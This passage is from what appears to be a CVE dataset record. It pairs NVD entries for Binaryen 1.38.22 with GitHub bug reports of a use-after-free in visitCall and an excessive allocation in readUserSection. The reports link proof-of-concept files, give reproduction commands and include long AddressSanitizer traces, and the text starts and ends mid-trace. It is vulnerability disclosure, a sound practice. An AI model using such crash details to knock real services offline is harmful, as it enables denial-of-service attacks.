/usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable.h:631:60 in std::_Hashtable<wasm::Expression*, std::pair<wasm::Expression* const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression*>, std::hash<wasm::Expression*>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true> >::_M_bucket_index(wasm::Expression* const&, unsigned long) const ==7649==ABORTING ```

Null pointer Deference in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) in wasm-s-parser.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1867/comments

1

2019-01-13T12:08:46Z

2019-01-16T19:15:11Z

https://github.com/WebAssembly/binaryen/issues/1867

398,651,046

1,867

163

CVE-2019-7703

2019-02-10T22:29:00.590

In Binaryen 1.38.22, there is a use-after-free problem in wasm::WasmBinaryBuilder::visitCall in wasm-binary.cpp. Remote attackers could leverage this vulnerability to cause a denial-of-service via a wasm file, as demonstrated by wasm-merge.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1865" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1865" } ]

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[ "416" ]

416

https://github.com/WebAssembly/binaryen/issues/1865

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Use-after-free problem was discovered in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) function in wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-merge $POC" to reproduce the error. [UAF.zip](https://github.com/WebAssembly/binaryen/files/2751985/UAF.zip) $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <alonzakai@gmail.com> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==12717==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000000c38 at pc 0x000000877201 bp 0x7ffcfa43cb50 sp 0x7ffcfa43cb48 READ of size 8 at 0x615000000c38 thread T0 #0 0x877200 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) /binaryen/src/wasm/wasm-binary.cpp:1954:12 #1 0x865f89 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1685:38 #2 0x86c092 in wasm::WasmBinaryBuilder::skipUnreachableCode() /binaryen/src/wasm/wasm-binary.cpp:1409:16 #3 0x861fc8 in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1384:9 #4 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #5 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #6 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #7 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #8 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #9 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #10 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #11 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #12 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #13 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #14 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #15 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #16 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #17 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #18 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #19 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #20 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #21 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #22 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #23 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #24 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #25 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #26 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #27 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #28 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #29 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #30 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #31 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #32 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #33 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #34 0x508d58 in _start (/binaryen/build/bin/wasm-merge+0x508d58) 0x615000000c38 is located 440 bytes inside of 512-byte region [0x615000000a80,0x615000000c80) freed by thread T0 here: #0 0x601fc8 in operator delete(void*) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:149 #1 0x79bed4 in __gnu_cxx::new_allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>::deallocate(wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:125:2 #2 0x79bed4 in std::allocator_traits<std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::deallocate(std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>&, wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:462 #3 0x79bed4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_deallocate(wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:180 #4 0x79bed4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::~_Vector_base() /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:162 #5 0x79bed4 in std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::~vector() /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:435 #6 0x79bed4 in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::~Walker() /binaryen/src/wasm-traversal.h:276 #7 0x79bed4 in wasm::BranchUtils::BranchSeeker::hasNamed(wasm::Expression*, wasm::Name) /binaryen/src/ir/branch-utils.h:208 #8 0x79bed4 in wasm::handleUnreachable(wasm::Block*, bool, bool) /binaryen/src/wasm/wasm.cpp:198 #9 0x85c506 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1847:10 #10 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #11 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #12 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #13 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #14 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #15 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #16 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #17 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #18 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #19 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #20 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #21 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #22 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #23 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #24 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #25 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #26 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) previously allocated by thread T0 here: #0 0x601250 in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #1 0x7dcff4 in __gnu_cxx::new_allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #2 0x7dcff4 in std::allocator_traits<std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::allocate(std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #3 0x7dcff4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #4 0x7dcff4 in void std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_realloc_insert<void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&>(__gnu_cxx::__normal_iterator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> > >, void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:406 #5 0x7d020a in void std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::emplace_back<void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&>(void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:105:4 #6 0x7d020a in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::pushTask(void (*)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**) /binaryen/src/wasm-traversal.h:396 #7 0x7d020a in wasm::PostWalker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::scan(wasm::BranchUtils::BranchSeeker*, wasm::Expression**) /binaryen/src/wasm-traversal.h:487 #8 0x7ca3c1 in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::walk(wasm::Expression*&) /binaryen/src/wasm-traversal.h:416:7 #9 0x79be62 in wasm::BranchUtils::BranchSeeker::hasNamed(wasm::Expression*, wasm::Name) /binaryen/src/ir/branch-utils.h:206:12 #10 0x79be62 in wasm::handleUnreachable(wasm::Block*, bool, bool) /binaryen/src/wasm/wasm.cpp:198 #11 0x85c506 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1847:10 #12 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #13 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #14 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #15 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #16 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #17 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #18 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #19 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #20 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #21 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #22 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #23 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #24 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #25 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #26 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #27 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #28 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-use-after-free /binaryen/src/wasm/wasm-binary.cpp:1954:12 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) Shadow bytes around the buggy address: 0x0c2a7fff8130: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c2a7fff8180: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd 0x0c2a7fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff81a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12717==ABORTING ```

A Use-after-free problem in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) function in wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1865/comments

1

2019-01-12T12:32:49Z

2019-01-16T19:15:11Z

https://github.com/WebAssembly/binaryen/issues/1865

398,550,317

1,865

164

CVE-2019-7704

2019-02-10T22:29:00.637

wasm::WasmBinaryBuilder::readUserSection in wasm-binary.cpp in Binaryen 1.38.22 triggers an attempt at excessive memory allocation, as demonstrated by wasm-merge and wasm-opt.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1866" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1866" } ]

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[ "770" ]

770

https://github.com/WebAssembly/binaryen/issues/1866

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Out-of-Memory problem was discovered in wasm::WasmBinaryBuilder::readUserSection(unsigned long) function in wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. 1. Program Abort because of std::bad_alloc exception. Use "./wasm-merge $POC" to reproduce the error. [POC1.zip](https://github.com/WebAssembly/binaryen/files/2751999/POC1.zip) Program Output ``` terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc Aborted ``` The ASAN dumps the stack trace as follows: ``` ==9550==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffc bytes ==9550==AddressSanitizer's allocator is terminating the process instead of returning 0 ==9550==If you don't like this behavior set allocator_may_return_null=1 ==9550==AddressSanitizer CHECK failed: /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) #0 0x5d1dd5 in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69 #1 0x5ef695 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79 #2 0x5d81d6 in __sanitizer::ReportAllocatorCannotReturnNull() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 #3 0x5d8216 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241 #4 0x50e307 in __asan::asan_memalign(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:900 #5 0x60121f in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #6 0x89ae8b in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #7 0x89ae8b in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #8 0x89ae8b in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #9 0x89ae8b in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:571 #10 0x89ae8b in std::vector<char, std::allocator<char> >::resize(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:692 #11 0x840f67 in wasm::WasmBinaryBuilder::readUserSection(unsigned long) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:723:18 #12 0x81412a in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:692:9 #13 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #14 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #15 0x60aa08 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-merge.cpp:617:16 #16 0x7f7b2fdad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x508d58 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-merge+0x508d58) ``` 2. possibly invalid request for silly amounts of memory Use "wasm-opt $POC" to reproduce the error. [POC2.zip](https://github.com/WebAssembly/binaryen/files/2752001/POC2.zip) Program Output ``` Fatal: error in building module, std::bad_alloc (possibly invalid request for silly amounts of memory) ``` The ASAN dumps the stack trace as follows: ``` ==22673==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes ==22673==AddressSanitizer's allocator is terminating the process instead of returning 0 ==22673==If you don't like this behavior set allocator_may_return_null=1 ==22673==AddressSanitizer CHECK failed: 